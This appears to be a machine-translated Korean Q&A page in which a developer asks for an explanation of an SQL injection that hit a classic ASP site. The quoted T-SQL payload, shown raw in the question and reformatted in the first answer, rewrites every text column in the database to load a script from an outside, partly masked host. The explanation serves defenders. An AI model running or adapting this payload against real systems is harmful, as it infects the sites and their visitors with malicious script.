복붙노트

[SQL] 누군가가 나에게이 SQL 주입 공격을 설명 할 수 있습니까?

SQL

누군가가 나에게이 SQL 주입 공격을 설명 할 수 있습니까?

나는 그것이 매우 관련 코딩대로 여기를 게시하고 싶어 내가 내 회사의 기존 ASP (고전) 사이트 중 하나에 이번 주에 정리했다 것이었다.

우리는 단지 몇 일 전에 실행 된 SQL 인젝션 공격에 맞았지만, 나는 (이 SQL 쿼리를 통해) 정확히 '피해'는 SQL 서버에 있었는지 내 머리를 긁적하고 있습니다.

솔직히 말해서, 나는이 수행 된 방법으로 재능이 매우라고 생각하고 내 회사없이 소독 입력에 약간의와 함께 오래 된 10 살 사이트를 가지고에 대한 비난.

공격:

무엇가 디코딩 : (내가 이해하고 싶은)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

우리는 백업 (사전 주사)를 복구하고, 전체 응용 프로그램을 통해 가서 모든 입력 문을 소독했다. 내가 이상 남아있을 수있는 그 밖의 무엇을 알고 싶어하지만 우리 서버는, 그래서 직접적인 SQL 접근을 방화벽, 그리고 나는 SQL 쿼리 내 머리입니다 인정해야한다.

누군가가 그것을 균열을 가지고 나를 위해 공격 SQL을 설명 할 수 있습니까?

사과 나는 전체 덤프 및 SQL 업데이트

해결법

  1. ==============================

    1.그냥 많이 명확히 할 가독성을 위해 포맷 :

    그냥 많이 명확히 할 가독성을 위해 포맷 :

    set ansi_warnings off
    
    DECLARE @T VARCHAR(255), @C VARCHAR(255)
    
    DECLARE Table_Cursor CURSOR FOR
        select c.TABLE_NAME, c.COLUMN_NAME
          from INFORMATION_SCHEMA.columns c,
               INFORMATION_SCHEMA.tables t
         where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
           and c.CHARACTER_MAXIMUM_LENGTH > 30
           and t.table_name = c.table_name
           and t.table_type = 'BASE TABLE'
    
    OPEN Table_Cursor
    
    FETCH NEXT FROM Table_Cursor INTO @T, @C
    WHILE(@@FETCH_STATUS=0)
    BEGIN
        EXEC ( 'UPDATE [' + @T + ']
                   SET [' + @C + '] =
                         ''"></title>'' +
                         ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                         ''<!--'' +
                         RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
                 WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                         <> ''"></title><script''
               '
             )
    
        FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    
    CLOSE Table_Cursor
    
    DEALLOCATE Table_Cursor
    

    그것은 모든 테이블의 모든 텍스트 컬럼을 통과하고 그것으로 일부 HTML을 삽입 - HTML 외부에서 생성 된 자바 스크립트에 대한 포인터를 포함하는.

  2. ==============================

    2.그것은 모든 테이블의 모든 열을 통해 반복하고 소스가 악성 JS 파일에서 가리키는